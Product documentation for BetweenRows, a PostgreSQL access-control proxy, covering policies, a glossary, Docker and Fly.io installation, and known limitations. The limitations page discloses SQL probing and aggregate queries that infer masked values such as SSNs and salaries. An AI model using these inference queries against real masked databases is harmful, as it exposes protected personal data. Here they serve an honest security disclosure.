`order_items` and `payments` reference `orders` via `order_id` but don't carry their own `org` column. In `policy_required` mode, tables without a matching policy return zero rows by default (safe default). The guide tutorials only query `customers`, `orders`, `products`, and `support_tickets`.
:::

## Pre-configured policies

| Policy | Type | Effect |
|---|---|---|
| `tenant-isolation` | `row_filter` | `org = {user.tenant}` on customers, orders, products, support\_tickets |
| `mask-ssn-partial` | `column_mask` | `customers.ssn` → last-4 masking |
| `mask-ssn-full` | `column_mask` | `customers.ssn` → `[RESTRICTED]` (created but **unassigned** by default) |
| `hide-credit-card` | `column_deny` | Removes `customers.credit_card` from all queries |
| `hide-product-financials` | `column_deny` | Removes `products.cost_price` and `products.margin` |
| `admin-full-access` | `column_allow` | Full access on all tables (created but **unassigned** — assign per user in the admin UI) |

`tenant-isolation`, `mask-ssn-partial`, `hide-credit-card`, and `hide-product-financials` are assigned with `scope=all` to the `demo_ecommerce` datasource by `setup.sh`.

## Quick verification

After setup, each user sees only their tenant's rows:

```sql
-- As alice (acme tenant):
SELECT DISTINCT org FROM orders;
-- → acme

-- SSNs are masked:
SELECT first_name, ssn FROM customers LIMIT 3;
-- → Alice, ***-**-1234

-- Credit cards are hidden:
SELECT credit_card FROM customers;
-- → ERROR: column "credit_card" does not exist
```

---

---
url: /reference/glossary.md
description: >-
  Standardized terminology for BetweenRows — user attributes, template
  variables, policy types, access modes, and other key terms.
---

# Glossary

This page defines the terms used throughout the BetweenRows documentation. When in doubt about what a term means, check here.

## Identity and access

### User

An identity that connects through the BetweenRows proxy. Each user has a username, password, optional admin flag, and a set of **user attributes**. Users authenticate on the data plane (pgwire) and optionally on the management plane (admin UI/API).

### Admin

A user with `is_admin = true`. Grants access to the admin UI and REST API. **Does not grant data plane access** — admin and data access are separate planes.

### Role

A named group of users. Roles are used for policy assignment — assign a policy to a role, and all members receive it. Roles support **inheritance** (a DAG with cycle detection and a depth cap of 10).

### Data source access

An explicit grant allowing a user or role to connect to a specific data source through the proxy. Every user starts with zero data access — grants must be added per data source.

## User attributes (ABAC)

### User attribute

Any property of a user that can be referenced in policy expressions or decision functions. User attributes are the foundation of **attribute-based access control (ABAC)**.

User attributes come in two kinds:

| Kind | Examples | Defined by | Always present? |
|---|---|---|---|
| **Built-in attributes** | `username`, `id` | System | Yes — every user has these |
| **Custom attributes** | `tenant`, `department`, `clearance`, `is_vip` | Admin (via Attribute Definitions) | No — only if the admin defines them and the user has a value set |

Both kinds are accessed the same way in expressions: `{user.username}`, `{user.tenant}`, `{user.clearance}`.

### Built-in attribute

A user attribute provided by the system: `username` (string) and `id` (UUID). Always available, cannot be overridden by custom attributes (reserved keys are rejected at the API).

### Custom attribute

A user attribute defined by the admin via **Attribute Definitions** (as opposed to built-in attributes which are system-managed). Has a key, value type (`string`, `integer`, `boolean`, `list`), optional default value, and optional allowed-values enum. Custom attributes must be defined (via Attribute Definitions) before they can be assigned to users.

This is the standard term — prefer "custom attributes" over "user-defined attributes" in all documentation.

### Attribute definition

The schema for a custom attribute — defines its key, value type, default value, and allowed values. Think of it as a "column definition" for user metadata. Created via the admin UI or API before assigning values to users.

### Default value

The value used when a user lacks a custom attribute. If set, the default is substituted as a typed literal. If not set (NULL), SQL NULL is used — which evaluates to false in WHERE clauses, meaning the user sees zero rows. This is fail-closed by design.

## Variables and expressions

### Template variable

A placeholder in a `row_filter` or `column_mask` expression that is replaced with a value at query time. Written as `{user.KEY}` in expressions.

Today, template variables expose **user attributes** (both built-in and custom). The design allows for future expansion to other namespaces (e.g., `{session.*}`, `{datasource.*}`), but only `{user.*}` is implemented.

Template variables are substituted as **typed SQL literals** after the expression is parsed — never as raw SQL strings. This makes them injection-safe by construction.

→ Full reference: [Template Expressions](/reference/template-expressions)

### Decision function context

The JSON object passed to a decision function's `evaluate(ctx, config)` call. It is a **superset** of what template variables expose — it includes user attributes plus additional context:

| Context path | Contents | Available when |
|---|---|---|
| `ctx.session.user.*` | All user attributes (built-in + custom) | Always |
| `ctx.session.user.roles` | Array of role names | Always |
| `ctx.session.time.now` | ISO 8601 timestamp | Always |
| `ctx.session.datasource.*` | Data source name and metadata | Always |
| `ctx.query.tables` | Array of `{datasource, schema, table}` objects | `evaluate_context = "query"` only |
| `ctx.query.columns` | Output column names | `evaluate_context = "query"` only |
| `ctx.query.join_count` | Number of JOINs | `evaluate_context = "query"` only |
| `ctx.query.has_aggregation` | Boolean | `evaluate_context = "query"` only |
| `ctx.query.statement_type` | `"SELECT"` | `evaluate_context = "query"` only |

→ Full reference: [Decision Functions](/guides/decision-functions)

### Filter expression

The SQL expression in a `row_filter` policy that determines which rows a user can see. Can reference table columns and template variables. Example: `org = {user.tenant}`.

### Mask expression

The SQL expression in a `column_mask` policy that replaces a column's value. Can reference the original column and template variables. Example: `'***-**-' || RIGHT(ssn, 4)`.

## Where attributes and variables are available

Attributes and variables surface in two different contexts — **template expressions** and **decision functions** — with different capabilities:

### Template expressions vs. decision functions

| | Template expressions | Decision functions |
|---|---|---|
| **Used in** | `row_filter` and `column_mask` definitions | Any policy (attached via `decision_function_id`) |
| **Syntax** | SQL with `{user.KEY}` placeholders | JavaScript: `evaluate(ctx, config)` |
| **Built-in attributes** | `{user.username}`, `{user.id}` | `ctx.session.user.username`, `ctx.session.user.id` |
| **Custom attributes** | `{user.tenant}`, `{user.clearance}`, etc. | `ctx.session.user.tenant`, `ctx.session.user.clearance`, etc. |
| **User's roles** | Not available | `ctx.session.user.roles` (array of role names) |
| **Session time** | Not available | `ctx.session.time.now` (ISO 8601) |
| **Data source info** | Not available | `ctx.session.datasource.name` |
| **Query metadata** | Not available | `ctx.query.tables`, `ctx.query.columns`, `ctx.query.join_count`, `ctx.query.has_aggregation`, `ctx.query.statement_type` (requires `evaluate_context = "query"`) |
| **Type safety** | Values substituted as typed SQL literals (Utf8, Int64, Boolean) | Values as typed JSON (string, number, boolean, array) |
| **Injection safety** | Safe by construction — literals in the parsed expression tree | N/A — JS runs in a WASM sandbox, no SQL access |
| **Complexity** | SQL expressions only (comparisons, CASE, string functions) | Full JavaScript logic (conditionals, loops, string manipulation) |
| **When evaluated** | At query time, per query | At connect time (`evaluate_context = "session"`) or per query (`evaluate_context = "query"`) |
| **Performance** | Negligible — literal substitution in the plan | ~1ms WASM execution per invocation |

### When to use which

* **Template expressions** are the default. Use them for straightforward attribute-based filtering and masking — `org = {user.tenant}`, `CASE WHEN {user.department} = 'hr' THEN ssn ELSE masked END`. No JavaScript needed.
* **Decision functions** are the escape hatch. Use them when the gating logic is too complex for a SQL expression — time-based access, multi-attribute business rules, query-shape inspection (e.g., "deny if the query touches more than 3 tables"), or when you need access to roles or session metadata that template variables don't expose.

### What's available today vs. planned

| Namespace | Template expressions | Decision functions | Status |
|---|---|---|---|
| `user.*` (built-in + custom attributes) | Yes | Yes | Shipped |
| `user.roles` | No | Yes | Shipped |
| `session.time.*` | No | Yes | Shipped |
| `session.datasource.*` | No | Yes | Shipped |
| `query.*` (tables, columns, aggregation) | No | Yes (requires `evaluate_context = "query"`) | Shipped |
| `datasource.*` in template expressions | No | N/A | Planned |
| `table.*` / `column.*` attributes | No | No | Planned |

Template variables today are scoped to `{user.*}`. The architecture supports future expansion to other namespaces without breaking existing expressions.

## Policies

### Policy

A named, versioned rule that controls data access. Every policy has a `policy_type`, a set of `targets` (which schemas/tables/columns it applies to), and optionally a `definition` (the expression logic).

### Policy type

One of five types, each with a different effect:

| Type | Intent | Effect |
|---|---|---|
| `row_filter` | permit | Adds a WHERE clause to filter rows |
| `column_mask` | permit | Replaces a column's value with a masked expression |
| `column_allow` | permit | Allowlists specific columns (only in `policy_required` mode) |
| `column_deny` | deny | Removes specific columns from results and schema |
| `table_deny` | deny | Removes an entire table from the user's view |

### Deny-wins invariant

If any enabled deny policy matches, the deny is enforced — regardless of any permit policies. This holds across all scopes, roles, and priorities. It is a core security guarantee.

### Policy assignment

The binding between a policy and a data source, with a scope (who it applies to) and a priority (which wins on conflict).

### Assignment scope

Who a policy assignment applies to:

| Scope | Meaning |
|---|---|
| `all` | Every user on the data source |
| `role` | All members of a specific role (direct + inherited) |
| `user` | One specific user |

### Priority

A numeric value on each policy assignment (default: 100). Lower number = higher precedence. At equal priority, user-specific beats role-specific beats all.

## Data sources and catalog

### Data source

BetweenRows' representation of an upstream PostgreSQL database. Stores connection details, access mode, and the discovered catalog.

### Catalog

The set of schemas, tables, and columns exposed through the proxy for a data source. Maintained as an allowlist — anything not in the catalog is invisible. Discovered from the upstream database and saved by the admin.

### Access mode

Determines what happens when no policy matches a table:

| Mode | Default behavior | Use case |
|---|---|---|
| `policy_required` | Tables are invisible without a `column_allow` policy | Production |
| `open` | Tables are visible to any user with data source access | Development |

### Catalog drift

When the upstream schema changes but the saved catalog hasn't been re-synced. New upstream tables/columns are not automatically exposed — an admin must explicitly select them via **Sync Catalog**.

## Architecture

### Data plane

The pgwire proxy (default port 5434). Handles user connections, query rewriting, policy enforcement, and audit logging.

### Management plane

The admin UI and REST API (default port 5435). Handles configuration: users, roles, policies, data sources, attribute definitions.

### Logical plan rewriting

How BetweenRows enforces policies. Queries are parsed into a DataFusion logical plan, then the plan is rewritten (row filters injected as Filter nodes, column masks as Projection nodes, columns/tables removed) before execution against the upstream database. This approach makes policies bypass-immune — no query shape (aliases, CTEs, subqueries, JOINs) can escape enforcement.

### Virtual schema

The per-user view of the database schema, built at connect time from the catalog + enabled policies. Each user sees a schema tailored to their access — denied columns/tables are absent, not just filtered.

### Visibility follows access

The principle that schema metadata matches data access. If a column is denied, it disappears from `information_schema.columns` — the user cannot discover it exists. If a table is denied, `\dt` doesn't list it and queries return "table not found" (not "access denied").

## Audit

### Query audit log

An append-only log of every query processed by the proxy. Records the original SQL, rewritten SQL, policies applied, execution time, client info, and status.

### Admin audit log

An append-only log of every mutation on the management plane — user/role/policy/datasource changes. Records the actor, action, resource, and a JSON diff of what changed.

### 404-not-403 principle

Denied resources return "not found" errors, not "access denied." This prevents users from discovering what exists but is restricted. Applied to table deny (table not found), column deny (column does not exist), and data source access (unknown database).

---

---
url: /installation/from-source.md
description: >-
  Build BetweenRows from source for development, contributions, or unpackaged
  platforms.
---

# Install from Source

Most users should run BetweenRows from the [official Docker image](/installation/docker). Build from source if you want to contribute, run an unreleased commit, or target a platform for which there is no published binary.

## Prerequisites

* **Rust** — the latest stable toolchain (`rustup install stable`). Check `proxy/Cargo.toml` for the edition.
* **Node 22+** and **npm** — for building the admin UI.
* **System dependencies** (Linux): `cmake`, `clang`, `libssl-dev`, `pkg-config`.
* **Docker** (optional) — integration tests use `testcontainers` and require Docker to be running.

On macOS, install the system dependencies with Homebrew:

```sh
brew install cmake
```

On Debian/Ubuntu:

```sh
sudo apt-get install -y cmake clang libssl-dev pkg-config
```

## Clone and build

1. **Clone the repository.**

   ```sh
   git clone https://github.com/getbetweenrows/betweenrows.git
   cd betweenrows
   ```

2. **Enable the pre-commit hook.**

   ```sh
   git config core.hooksPath .githooks
   ```

   This runs `cargo fmt --check`, `cargo clippy`, the proxy test suite, and the admin-ui tests before every commit. Recommended for contributors.

3. **Build the admin UI.**

   ```sh
   cd admin-ui
   npm ci
   npm run build
   cd ..
   ```

   The output goes to `admin-ui/dist/` and is embedded into the Rust binary at build time.

4. **Build the proxy.**

   ```sh
   cargo build -p proxy --release
   ```

   The binary is produced at `target/release/proxy`.

5. **Run the proxy.**

   ```sh
   BR_ADMIN_USER=admin \
   BR_ADMIN_PASSWORD=changeme \
   BR_PROXY_BIND_ADDR=127.0.0.1:5434 \
   BR_ADMIN_BIND_ADDR=127.0.0.1:5435 \
   ./target/release/proxy
   ```

   Open <http://localhost:5435> to log in.

## Development workflow

For iterative development on the proxy:

```sh
cargo run -p proxy -- --help
cargo test -p proxy
cargo clippy -p proxy -- -D warnings
cargo fmt --check
```

For the admin UI (hot reload):

```sh
cd admin-ui
npm run dev
```

The dev server proxies API calls to `http://localhost:5435`, so run the Rust proxy in a separate terminal.

## Running tests

The project has two test binaries:

```sh
# Unit tests (no Docker required)
cargo test --lib -p proxy

# Integration tests (require Docker — testcontainers-based)
cargo test --test policy_enforcement
cargo test --test protocol
```

Integration tests are skipped gracefully if Docker is unavailable.

## Contributing

See [`CONTRIBUTING.md`](https://github.com/getbetweenrows/betweenrows/blob/main/CONTRIBUTING.md) in the repo for architecture details, coding conventions, testing philosophy, and the bug fix protocol. In short: write failing tests first, then fix the code until they pass. TDD is non-optional for security-adjacent changes.

::: tip
The repository contains `proxy/CLAUDE.md`, `admin-ui/CLAUDE.md`, and a root `CLAUDE.md` with instructions for working in the codebase. Read those before opening a non-trivial PR.
:::

## Next steps

* **[Troubleshooting](/operations/troubleshooting)** — common build and runtime issues
* **[Quickstart](/start/quickstart)** — once your build is running
* **[Roadmap](/about/roadmap)** — what's planned and what's already shipped

---

---
url: /installation/fly.md
description: >-
  Deploy BetweenRows to Fly.io with a persistent volume, explicit secrets, and
  IPv6/IPv4 client connectivity.
---

# Install on Fly.io

Fly.io is a convenient hosted deployment path for BetweenRows. The steps below assume you have `flyctl` installed and authenticated.

## 1. Create the app

```sh
fly launch --no-deploy --copy-config --name <your-app-name>
```

This creates the app and a 1 GB persistent volume (configured in `fly.toml`).

## 2. Set your admin password and deploy

```sh
fly secrets set BR_ADMIN_PASSWORD=<strong-password> --app <your-app-name>
fly deploy --app <your-app-name>
```

Encryption and JWT keys are auto-generated and persisted to the volume — no additional secrets needed to get started.

**For production**, set `BR_ENCRYPTION_KEY` and `BR_ADMIN_JWT_SECRET` explicitly so they can be rotated independently of the volume:

```sh
fly secrets set \
  BR_ENCRYPTION_KEY=$(openssl rand -hex 32) \
  BR_ADMIN_JWT_SECRET=$(openssl rand -base64 32) \
  --app <your-app-name>
```

`BR_ENCRYPTION_KEY` must be a 64-character hex string (AES-256-GCM). `BR_ADMIN_JWT_SECRET` accepts any non-empty string.

See the [Configuration reference](/reference/configuration) for all available options.

## 3. Open the admin UI

| Endpoint | URL / address |
|---|---|
| Admin UI | `https://<app-name>.fly.dev` |
| Admin REST API | `https://<app-name>.fly.dev/api/v1/...` |
| PostgreSQL proxy | `<app-name>.fly.dev:5432` |

Log in as `admin` with your password.

## Connecting via pgwire

The pgwire port is accessible for free via **IPv6** (most modern clients resolve it automatically):

```sh
psql "postgresql://admin:<password>@<app-name>.fly.dev:5432/<datasource-name>"
```

### macOS: if the connection times out

Check whether IPv6 is configured on your machine:

```sh
ifconfig | grep "inet6" | grep -v "::1" | grep -v "fe80"
```

If that returns nothing, your machine has no routable IPv6 address. Re-enable it:

```sh
sudo networksetup -setv6automatic Wi-Fi
```

Then confirm with `ping6 google.com` and retry the connection.

### IPv4-only environments

If your network has no IPv6 support, tunnel via WireGuard:

```sh
fly proxy 5432:5434 --app <app-name>
psql "postgresql://admin:<password>@127.0.0.1:5432/<datasource-name>"
```

Or allocate a dedicated IPv4 ($2/mo):

```sh
fly ips allocate-v4 --app <app-name>
```

## Upgrading

Pull a specific image tag and redeploy:

```sh
fly deploy --image ghcr.io/getbetweenrows/betweenrows:0.16.2 --app <your-app-name>
```

Or if your `fly.toml` already references a specific image tag, just:

```sh
fly deploy --app <your-app-name>
```

::: tip
Always pin `fly.toml` to a specific version tag rather than `:latest`. That way a `fly deploy` only upgrades the image when you change the tag deliberately.
:::

See [Upgrading](/operations/upgrading) for general upgrade guidance (backup the volume first, read the changelog between versions).

## Next steps

* **[Troubleshooting](/operations/troubleshooting)** — connection and client compatibility issues
* **[Backups](/operations/backups)** — how to snapshot the Fly volume
* **[Configuration reference](/reference/configuration)** — all environment variables

---

---
url: /installation/docker.md
description: >-
  Run BetweenRows as a Docker container on a single host. Covers the minimum
  invocation, the full environment variable reference, and volume setup.
---

# Install with Docker

BetweenRows ships as a single Docker image at `ghcr.io/getbetweenrows/betweenrows`. The image contains both the data plane (pgwire proxy on port 5434) and the management plane (admin UI and REST API on port 5435) in one binary.

## Minimum invocation

```sh
docker run -d \
  -e BR_ADMIN_USER=admin \
  -e BR_ADMIN_PASSWORD=changeme \
  -p 5434:5434 -p 5435:5435 \
  -v betweenrows_data:/data \
  ghcr.io/getbetweenrows/betweenrows:0.16.2
```

::: tip
**Always pin the image tag** to a specific version like `:0.16.2`. `:latest` will move you across release boundaries on every container restart — upgrade deliberately instead. See [Upgrading](/operations/upgrading) for how to change versions safely.
:::

Once the container is up, open `http://localhost:5435` and log in with your admin credentials:

![BetweenRows admin login screen served from the Docker container on port 5435](/screenshots/docker-login-v0.14.png)

## What the flags do

| Flag | Purpose |
|---|---|
| `-e BR_ADMIN_USER=admin` | Username for the initial admin account. Only used on first boot; ignored on subsequent boots. Change it before the first run if you prefer a different name — the username cannot be changed after creation. |
| `-e BR_ADMIN_PASSWORD=changeme` | Password for the initial admin account. **Required on first boot.** Change it before running in any shared environment. You can change it later through the admin UI. |
| `-p 5434:5434` | SQL proxy port. Connect your PostgreSQL clients here. |
| `-p 5435:5435` | Admin UI and REST API port. |
| `-v betweenrows_data:/data` | **Persistent volume.** Stores the SQLite admin database, auto-generated encryption key, and JWT secret. **Do not omit** — without it, all data and keys are lost when the container restarts. |

## Production-grade invocation

For anything beyond a local demo, set the encryption key and JWT secret explicitly so they survive volume reset and can be rotated independently:

```sh
docker run -d \
  --name betweenrows \
  --restart unless-stopped \
  -e BR_ADMIN_USER=admin \
  -e BR_ADMIN_PASSWORD="$(openssl rand -base64 24)" \
  -e BR_ENCRYPTION_KEY="$(openssl rand -hex 32)" \
  -e BR_ADMIN_JWT_SECRET="$(openssl rand -base64 32)" \
  -e BR_PROXY_BIND_ADDR=0.0.0.0:5434 \
  -e BR_ADMIN_BIND_ADDR=0.0.0.0:5435 \
  -e RUST_LOG=info \
  -p 5434:5434 -p 5435:5435 \
  -v /srv/betweenrows/data:/data \
  ghcr.io/getbetweenrows/betweenrows:0.16.2
```

* `BR_ENCRYPTION_KEY` must be a **64-character hex string** (32 bytes → AES-256-GCM key). If you change this value after secrets have been stored, existing secrets become unreadable.
* `BR_ADMIN_JWT_SECRET` can be any non-empty string, but should be high-entropy. Tokens signed with the old value are rejected after rotation — all admins will need to re-authenticate.
* Save both values somewhere secure *before* the first boot. If you lose them, you will need to wipe `/data` and re-create everything.

See the [Configuration reference](/reference/configuration) for the full list of environment variables.

## Persistent data

The `/data` volume contains:

* `proxy_admin.db` — the SQLite admin database (users, policies, datasources, audit logs, attribute definitions).
* `.betweenrows/encryption_key` — the auto-generated AES-256-GCM key, if `BR_ENCRYPTION_KEY` was not set explicitly.
* `.betweenrows/jwt_secret` — the auto-generated JWT signing secret, if `BR_ADMIN_JWT_SECRET` was not set explicitly.

::: tip
**Back up the whole `/data` directory regularly.** See the [Backups](/operations/backups) page for the recommended approach.
:::

## Verifying the install

1. **Check the container is running.**

   ```sh
   docker ps --filter name=betweenrows
   ```

2. **Tail the logs to confirm startup.**

   ```sh
   docker logs -f betweenrows
   ```

   Look for lines indicating the admin and proxy bind addresses and that migrations completed.

3. **Open the admin UI.**

   Visit <http://localhost:5435> and log in with your admin credentials.

4. **Run the Quickstart walkthrough.**

   Follow the [Quickstart](/start/quickstart) from step 2 onward to add a data source, create a user, define a policy, and verify it with psql.

## Creating users from the shell

The `proxy` binary has a built-in `user create` subcommand for bootstrap — creating the first user, scripted provisioning, or rescuing a locked-out admin when the UI is unreachable. For everything else, use the admin UI.

```sh
docker exec -it betweenrows proxy user create --username alice --password secret
```

| Flag | Description |
|---|---|
| `--username <name>` | Required. Must match `[a-zA-Z0-9_.-]`, 3–50 characters, start with a letter. |
| `--password <password>` | Required. Stored as an Argon2id hash. |
| `--admin` | Optional. Creates the user with `is_admin: true`. Use this to create a rescue admin when you're locked out of the UI. |

::: warning Password complexity is not enforced from the CLI
The shell path stores whatever password you pass without running the admin API's complexity check. A user created this way with a weak password will later fail to update their own password through the admin UI, which enforces complexity on edit.
:::

**Shell history caveat.** The password appears in `~/.bash_history` / `~/.zsh_history` if entered directly. Prefer an env var or a secrets file:

```sh
# From an env var
docker exec -it betweenrows proxy user create --username alice --password "$ALICE_PASSWORD"

# Generate a random password and display it once
PASSWORD=$(openssl rand -base64 24)
docker exec -it betweenrows proxy user create --username alice --password "$PASSWORD"
echo "Alice's password: $PASSWORD"
```

**Rescue admin recipe.** If you've forgotten the admin password and have no other admin accounts:

```sh
docker exec -it betweenrows proxy user create \
  --username rescue \
  --password "$(openssl rand -base64 24)" \
  --admin
```

Log in as `rescue`, then reset the original admin password through the UI (or delete `rescue` after).

::: info
A forgot/reset password feature is on the [roadmap](/about/roadmap). Until then, the shell rescue path is the only way to recover from a lost admin password.
:::

## Automation beyond the shell

Everything the admin UI does is backed by a REST API at `http://localhost:5435/api/v1/`. A full OpenAPI reference is planned; until it ships, the fastest way to discover the request and response shapes for any admin action is to perform the action in the UI and inspect the request in your browser's network tab. Every UI button maps 1:1 to a single REST call under `/api/v1/`.

## Docker Compose

For reproducible local setups, a `compose.yaml` snippet:

```yaml
services:
  betweenrows:
    image: ghcr.io/getbetweenrows/betweenrows:0.16.2
    container_name: betweenrows
    restart: unless-stopped
    ports:
      - "5434:5434"
      - "5435:5435"
    environment:
      BR_ADMIN_USER: admin
      BR_ADMIN_PASSWORD: ${BR_ADMIN_PASSWORD:?required}
      BR_ENCRYPTION_KEY: ${BR_ENCRYPTION_KEY:?required}
      BR_ADMIN_JWT_SECRET: ${BR_ADMIN_JWT_SECRET:?required}
      BR_PROXY_BIND_ADDR: 0.0.0.0:5434
      BR_ADMIN_BIND_ADDR: 0.0.0.0:5435
      RUST_LOG: info
    volumes:
      - betweenrows_data:/data

volumes:
  betweenrows_data:
```

Put the secrets in a `.env` file (not checked into git) and run `docker compose up -d`.

## Behind a reverse proxy

In production, place the admin UI (port 5435) behind a reverse proxy (nginx, Caddy, Cloudflare Tunnel) for TLS, authentication, and rate limiting. The SQL proxy (port 5434) uses the PostgreSQL wire protocol and should be exposed directly or through a TCP load balancer — not an HTTP proxy.

Set `BR_CORS_ALLOWED_ORIGINS` if the admin UI is served from a different origin than the API:

```sh
-e BR_CORS_ALLOWED_ORIGINS=https://admin.example.com
```

::: tip
The admin API requires JWT authentication for all endpoints except `/auth/login`. A reverse proxy adds defense-in-depth: TLS termination, rate limiting on the login endpoint, and IP allowlisting if your admin team is on a known network.
:::

## Upgrading

See [Upgrading](/operations/upgrading) — the short version is *change the image tag and restart, back up `/data` first, read the changelog between your current and target versions before pulling*.

## Next steps

* **[Configuration reference](/reference/configuration)** — all environment variables
* **[Backups](/operations/backups)** — what to snapshot and how
* **[Troubleshooting](/operations/troubleshooting)** — connection failures, policy not matching
* **[Fly.io install](/installation/fly)** — if you want hosted over self-hosted

---

---
url: /start/introduction.md
description: >-
  BetweenRows is a fully customizable data access governance layer — a SQL-aware
  proxy that enforces fine-grained access policies across your databases,
  warehouses, and lakehouses.
---

# Introduction

**BetweenRows** is a fully customizable data access governance layer. It sits between your users and your data sources as a SQL-aware proxy, enforcing fine-grained access policies — masking, filtering, and blocking — in real-time on every query. Define who can see what through an admin UI, and every connection through the proxy is automatically governed. Currently supports PostgreSQL data sources; warehouses and lakehouses are on the roadmap.

![BetweenRows admin console, showing the Users page with seeded demo accounts alice, bob, and charlie](/screenshots/introduction-dashboard-v0.14.png)

## Why BetweenRows

* **No application changes** — policies are enforced at the proxy layer, not in your app code.
* **Row-level filtering** — automatically filter rows based on user identity (role, department, tenant).
* **Column masking** — mask sensitive columns (SSN, email, salary) with expressions, not views.
* **Column & table deny** — hide columns or entire tables from specific users or roles.
* **Full audit trail** — every query is logged with the original SQL, rewritten SQL, and policies applied.
* **RBAC + ABAC** — assign policies via roles, user attributes, or programmable decision functions (JavaScript/WASM).

Built with **Rust**, **DataFusion**, **pgwire**, and **React**.

## The philosophy

BetweenRows is built on three invariants:

1. **Zero-trust defaults.** In `policy_required` mode, tables start invisible. Access must be explicitly granted — there is no "allow all, then restrict."
2. **Deny always wins.** If any policy denies access — from any role, any scope, any source — the deny is enforced. You can layer permit-policies freely and reach for a deny as the final word.
3. **Visibility follows access.** Denied columns don't just get filtered from query results — they disappear from `information_schema` entirely. Users cannot discover what they can't see.

These make the security model tractable to reason about: permitted access is an intersection of explicit grants, and denial is always authoritative.

→ Full explanation: [Policy Model](/concepts/policy-model)

## How it's different from application-layer RLS

Most row-level security is implemented inside the application (`WHERE tenant_id = :user_tenant` in every query) or inside the database (PostgreSQL `CREATE POLICY`). Both approaches couple security to the thing that should be protected.

BetweenRows decouples them. Your application connects to the proxy as if it were PostgreSQL. The proxy rewrites every query at the logical plan level before sending it upstream — row filters, column masks, and access controls are applied uniformly regardless of which tool, ORM, or BI client sent the query. The upstream database sees only policy-compliant queries; your application code is unchanged.

This means:

* Existing tools (DBeaver, Tableau, psql, any ORM) get row-level security for free — no plugin, no integration.
* A single policy definition covers every consumer of the data source.
* Security reviews are tractable: the policy set is a small, named, versioned thing, not a sprawl of `WHERE` clauses across a codebase.

## Who this is for

* **Platform engineers and DBAs** who need row-level security on an existing PostgreSQL database and don't want to rewrite their app.
* **Security and compliance teams** evaluating whether a proxy-based approach meets their threat model.
* **Data team leads** who want consistent access controls across BI tools, notebooks, and applications.

## Use with your own LLM

Every page has a **Copy as Markdown** button — click it to copy the page content, then paste it into ChatGPT, Claude, Gemini, or any chat model as context for your questions.

For the entire docs set at once, fetch [`/llms-full.txt`](/llms-full.txt) (or give the URL to a model with web-reading support). A shorter section index is at [`/llms.txt`](/llms.txt).

## Where to go next

* **[Quickstart](/start/quickstart)** — install the proxy, connect a database, write your first policy, verify it works. Under 15 minutes.
* **[Policy Model](/concepts/policy-model)** — the philosophy: zero-trust defaults, deny-wins, visibility-follows-access.
* **[Security Overview](/concepts/security-overview)** — for security and compliance reviewers. Trust boundaries, guarantees, and the deployment checklist.
* **[Architecture](/concepts/architecture)** — two-plane design, request lifecycle, how policies are applied during query planning.
* **[Threat Model](/concepts/threat-model)** — the full attack-vector catalog with defenses and tests.

---

---
url: /operations/known-limitations.md
description: >-
  Current limitations, security trade-offs, and production caveats — what
  BetweenRows does not do, what it does oddly, and what to avoid in production.
---

# Known Limitations

An honest list of things BetweenRows does not do, does oddly, or has not tested thoroughly yet. Read this before production deployment.

## Security-adjacent limitations

These are the items security and compliance reviewers should know about. They are current behaviors, not bugs.

### `EXPLAIN` output may leak plan structure

A user who runs `EXPLAIN SELECT * FROM orders` against the proxy may see the injected row filter expressions and other plan structure in the output. This can reveal:

* The contents of a row filter (e.g., the name and value of a tenant attribute).
* The names of columns hidden by `column_deny` if they are referenced in plan annotations.
* The existence of tables hidden by `table_deny` in certain edge cases.

**Currently unmitigated.**

**Deployment guidance:** restrict `EXPLAIN` to trusted users upstream of the proxy, or block it entirely by deploying BetweenRows behind a query filter that rejects `EXPLAIN` for non-trusted users. Do not assume `EXPLAIN` is safe to expose to arbitrary users.

### `column_mask` does not block predicate probing

Column masks apply to the projection output only. A user can still run:

```sql
SELECT id FROM customers WHERE ssn = '123-45-6789';
```

and learn whether a specific SSN exists, even though `SELECT ssn FROM customers` would return masked values. The `WHERE` predicate evaluates against the raw column — by design, because rewriting predicates would break the `row_filter` + `column_mask` composition invariant.

Variants that work the same way:

* **`EXISTS` subqueries:** `SELECT 1 WHERE EXISTS (SELECT 1 FROM customers WHERE ssn = '...')`
* **`JOIN` with a VALUES clause:** `SELECT c.id FROM customers c JOIN (VALUES ('...')) v(probe) ON c.ssn = v.probe`
* **`IN` clauses:** `SELECT id FROM customers WHERE ssn IN ('...', '...')`

**Deployment guidance:** for columns where even existence-testing must be prevented, use **`column_deny`** instead of `column_mask`. Denied columns cannot be referenced in `WHERE` at all — the query fails with a column-not-found error (or SQLSTATE 42501 if the denied column is the only thing selected).

### `column_mask` does not block aggregate inference

Similarly, aggregates operate on raw values:

```sql
SELECT COUNT(DISTINCT ssn) FROM customers;
SELECT MIN(salary), MAX(salary) FROM employees;
SELECT STRING_AGG(ssn, ', ') FROM customers;
```

These return statistical properties or bulk collections of raw values. `column_mask` cannot prevent this because aggregation happens during query execution, not projection — the raw column is still readable at the scan level.

With a small `GROUP BY` group, aggregates can effectively deanonymize individuals:

```sql
SELECT department, COUNT(*), MIN(salary), MAX(salary)
  FROM employees GROUP BY department;
```

A department of one person means `MIN = MAX = that_person.salary`.

**Deployment guidance:** use `column_deny` for columns where cardinality, range, or bulk values are sensitive. If you need to allow projection but not aggregation, there is currently no mechanism — file an issue if this is a blocker for your use case.

### Compound column-mask expressions produce masked-then-concatenated output

This query:

```sql
SELECT ssn || ' (masked)' FROM customers;
```

returns:

```
***-**-6789 (masked)
```

The mask is applied at the scan level, so downstream expressions reference the already-masked value. The result is correct — raw SSN is not exposed — but the output is not what the author of the SELECT list might have intended. Users may see aesthetically odd output when they concatenate masked columns with other values.

Internally, this is a known behavior. A future improvement could preserve the original SELECT-list expression structure while still enforcing the mask, but that adds significant complexity to the query rewrite path. For now, the behavior is: the value is masked, but derived expressions that reference the masked column operate on the masked value.

## SQL client compatibility

### Metadata queries from some clients may fail

BetweenRows implements a subset of `pg_catalog` and `information_schema` — enough for `psql`, TablePlus, and DBeaver to show the schema tree and run queries. Some clients send additional metadata queries (introspection, autocompletion, schema browsing) that BetweenRows may not support yet. Symptoms:

* The client connects without error.
* Queries run fine.
* Schema browsing in the client's sidebar is empty or shows errors.

**If this happens with your client, please file a [GitHub issue](https://github.com/getbetweenrows/betweenrows/issues)** with the client name, version, and any error messages. We use these reports to prioritize which metadata queries to implement next.

### TLS on the data plane

The current pgwire listener does not terminate TLS. Clients configured with `sslmode=require` or higher will fail to connect. Use `sslmode=disable` and deploy BetweenRows behind a TLS-terminating load balancer, service mesh, or Cloudflare Tunnel.

## Column type limitations

### `regclass` and `regproc` columns are dropped during discovery

